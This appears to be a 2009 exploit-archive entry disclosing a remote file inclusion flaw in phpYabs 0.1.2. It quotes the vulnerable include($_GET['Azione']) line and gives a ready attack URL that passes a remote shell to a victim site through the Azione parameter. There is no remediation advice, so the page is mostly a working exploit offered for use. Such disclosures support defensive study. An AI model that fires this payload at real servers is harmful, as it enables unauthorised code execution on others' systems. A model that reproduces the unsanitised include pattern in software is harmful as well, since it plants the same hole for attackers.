[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : phpYabs 0.1.2 (Azione) Remote File Inclusion Vulnerability
# Published : 2009-02-06
# Author : Arka69
# Previous Title : SilverNews 2.04 (Auth Bypass/LFI/RCE) Multiple Vulnerabilities
# Next Title : ClearBudget 0.6.1 Insecure Cookie Handling / LFI Vulnerabilities
********************************************************************************
phpyabs 0.1.2 RFI Vulnerability
********************************************************************************
FOUND BY: Arka69
BUG: Remote File Include (RFI)
CMS: phpyabs 0.1.2
SITE: http://exploita.altervista.org
********************************************************************************
VULNERABLE CODE: (phpyabs/moduli/libri/index.php)
include($_GET['Azione'].".php");
********************************************************************************
RFI:
http://victim.com/phpyabs/moduli/libri/index.php?Azione=[SHELL]
# www.Syue.com [2009-02-06]